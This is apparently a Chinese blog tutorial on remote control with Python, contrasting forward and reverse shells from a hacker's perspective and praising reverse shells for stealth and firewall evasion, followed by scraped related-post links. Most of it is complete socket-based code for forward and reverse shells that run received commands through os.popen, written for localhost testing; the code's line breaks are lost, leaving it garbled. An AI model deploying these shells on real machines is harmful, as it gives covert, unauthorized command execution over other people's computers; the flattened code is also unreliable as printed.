python实现远程控制

准备

需要调用socket库,os库

概念原理

要实现远程控制就是要获取对方电脑的一个“shell”
它是操作系统中用于人机交互的部分,windows最常见的shell就是cmd。
Shell从控制方向上说分如下两类:

1.正向shell

.被控制的电脑做服务器,黑客的电脑作客户端
.因为服务器需要不间断运行所以容易被检测到;
.过程可能被防火墙拦截

2.反向shell

.被控制的电脑做客户端,黑客的电脑作服务器使用
.客户端不用常开,隐蔽性强
.一般不易被防火墙拦截

3.其他

os库用来让作为服务器端的被控制电脑执行客户端给出的命令
socket库用来建立两者之间的通信“管道”

实现代码

正向shell服务器代码示例

import socket
import os
s=socket.socket()     #生成一个管道
s.bind(("0.0.0.0",7777))    #开启管道监听
s.listen(1)     #选择接受的管道连接的个数
sock,addr=s.accept()  #接收对方的地址
while 1:command=sock.recv(1024).decode()  #接收,解码if command=="exit":breakresult=os.popen(command).read()  #在系统中执行客户端发来的命令并读sock.send(result.encode())  #读出来的执行结果发给客户端并加密
sock.close()
s.close()

正向shell客户端代码示例

import socket
s=socket.socket()
s.connect(("127.0.0.1",7777))
while 1:command=input("指令:")s.send(command.encode())if command=="exit":breakresult=s.recv(65536).decode()print(result)
s.close()

反向shell客户端代码示例

import socket
import oss=socket.socket()
s.connect(("127.0.0.1",6666))
while 1:command=s.recv(65536).decode()if command=="exit":breakif command.startswith("cd "):dir=command[3:].strip()try:os.chdir(dir)except:passresult=os.popen(command+" 2>&1").read()  # 2>&1用于重定向输出,就是不报错if result=="":result="finished"s.send(result.encode())
s.close()

反向shell服务器代码示例

import sockets=socket.socket()
s.bind(("0.0.0.0",6666))
s.listen(1)
sock,addr=s.accept()
while 1:while 1:command=input("指令:")if command.strip():breaksock.send(command.encode())if command=="exit":breakresult=sock.recv(65536).decode()print(result)
sock.close()
s.close()

(注:作为服务器的端不要轻易打开,因为如上代码ip写作 0.0.0.0,任何人都可以登入,
而语法 s.listen()可以限制登入数量
以上为在本机做实验时的Ip)

python实现远程控制相关推荐

  1. 利用Python微信远程控制

    利用Python&微信远程控制 概述 实现功能 准备事项 代码展示 消息的获取 消息的处理 注意事项 拓展延伸 概述 在网上偶然看到一个远程控制的小项目,就突发奇想 借题发挥,自己搞一搞,利用 ...

  2. python微信远程控制摄像头_python实现微信远程控制电脑

    首先,我们要先看看微信远程控制电脑的原理是什么呢? 我们可以利用Python的标准库控制本机电脑,然后要实现远程的话,我们可以把电子邮件作为远程控制的渠道,我们用Python自动登录邮箱检测邮件,当我 ...

  3. 骚操作之Python微信远程控制摄像头!然后嘿嘿嘿!

    盯着电脑工作大半天了,有点疲劳,想想同样苦逼盯着电脑的女朋友,就想逗逗她缓解一下疲劳. 于是一时手痒,开始了新一轮的骚操作,用Python基于itchat实现微信控制电脑打开摄像头拍摄当前电脑的使用者 ...

  4. Python微信远程控制摄像头-拍摄女朋友坐电脑前聊天时表情

    盯着电脑工作大半天了,有点疲劳,想想同样苦逼盯着电脑的女朋友,就想逗逗她缓解一下疲劳. 于是一时手痒,开始了新一轮的骚操作,用Python基于itchat实现微信控制电脑打开摄像头拍摄当前电脑的使用者 ...

  5. python微信远程控制摄像头_【python版】利用微信远程控制你的电脑

    ============================================================================== 作者:xfkxfk 团队:F4ck Tea ...

  6. 用Python实现远程控制电脑关机(啧啧啧)

    室友太懒,晚上电脑开热点经常忘记设置电脑自动关机,可苦了我这个勤奋的孩子...... 思路:python先登录邮箱,利用邮箱发送指令,每隔一段时间程序检测是否有关机指发送过来,然后把命令转成cmd命令 ...

  7. python 如何远程控制另一台机器-通过cmd执行文件

    python 远程控制另一台机器通过cmd执行文件,通过本机控制远程主机执行代码. import wmi import pythoncom conn = pythoncom.CoInitialize( ...

  8. 利用Python实现远程控制电脑

    两种方式吧,一种是用工具(较专业,功能多),另一种是写个脚本(仅为了好玩). 可以用这个来做下远程控制 ---- IIS7服务器管理工具.它的功能还是挺多的,可以在同一个窗口内浏览到多个服务器桌面的信 ...

  9. python手机远程控制电脑访问网页_Python 实战系列-微信或网页远程控制电脑

    Python 实战系列-微信或网页远程控制电脑 本系列课程为Python实战系列课程:使用微信控制电脑,使用Python的Web框架Flask搭建网页, 并使用网页控制电脑:使用wxPython编写图 ...

最新文章

  1. a*算法matlab代码_蚁群算法(含MATLAB代码)
  2. 第七届蓝桥杯大赛个人赛省赛(软件类)真题4
  3. win下实现Linux的tab自动补全
  4. AS:Flash AS3中获取浏览器信息及URL相关参数(并非swf url地址)
  5. Python弹球游戏(tkinter模块编写)
  6. selenium.common.exceptions.WebDriverException:Message: 'chromedriver' executable needs to be in PATH
  7. 网上书店系统mysql设计_数据库设计--《网上书店系统》
  8. 干货 | 推荐几款实用的思维导图工具
  9. C语言图形化界面——含图形、按钮、鼠标、进度条等部件制作(带详细代码、讲解及注释)
  10. 计算机安装xp蓝屏怎么办,联想笔记本装xp系统蓝屏解决方法
  11. 《蔡康永的说话之道》书摘
  12. ESP-MESH 无线组网,让智能家居通信更方便 | ESP32轻松学(Arduino版)
  13. Android Studio 4.0.+NDK .so库生成打包
  14. 《 ERP高级计划》书的解读-APS算法分析之七分解技术(DT)(蔡颖)(转)
  15. 为什么建议将成员属性设置为私有
  16. Vue + Spring Boot 项目实战(四):数据库的引入
  17. 2.8 CSS3新特性
  18. Python爬虫代理IP(代理池)——加载和使用
  19. 病毒分析系列 _ 病毒分析环境搭建
  20. matlab图像处理 支持向量机,Matlab图像处理滑动窗口SVM

热门文章

  1. 黑苹果虚拟机好用吗_苹果手机上有什么好用的工作提醒便签软件工具吗?
  2. 字符转详细与初步了解for循环
  3. 【python-docx 06】理解word样式
  4. IFAHP直觉模糊层次分析法matlab
  5. MSBUILD : error MSB4132: The tools version “2.0“ is unrecognized. Available tools versions are “4.0“
  6. 国密算法的ekey基本使用的说明
  7. OneNav一为主题魔改教程(一):优化后台新增网站时调用API却没有赋好值的BUG,以减少复制编辑工作量--一梦
  8. 对象(创建对象、构造函数)
  9. 【Robomaster】电控入门手册
  10. SLAM——之Sophus函数库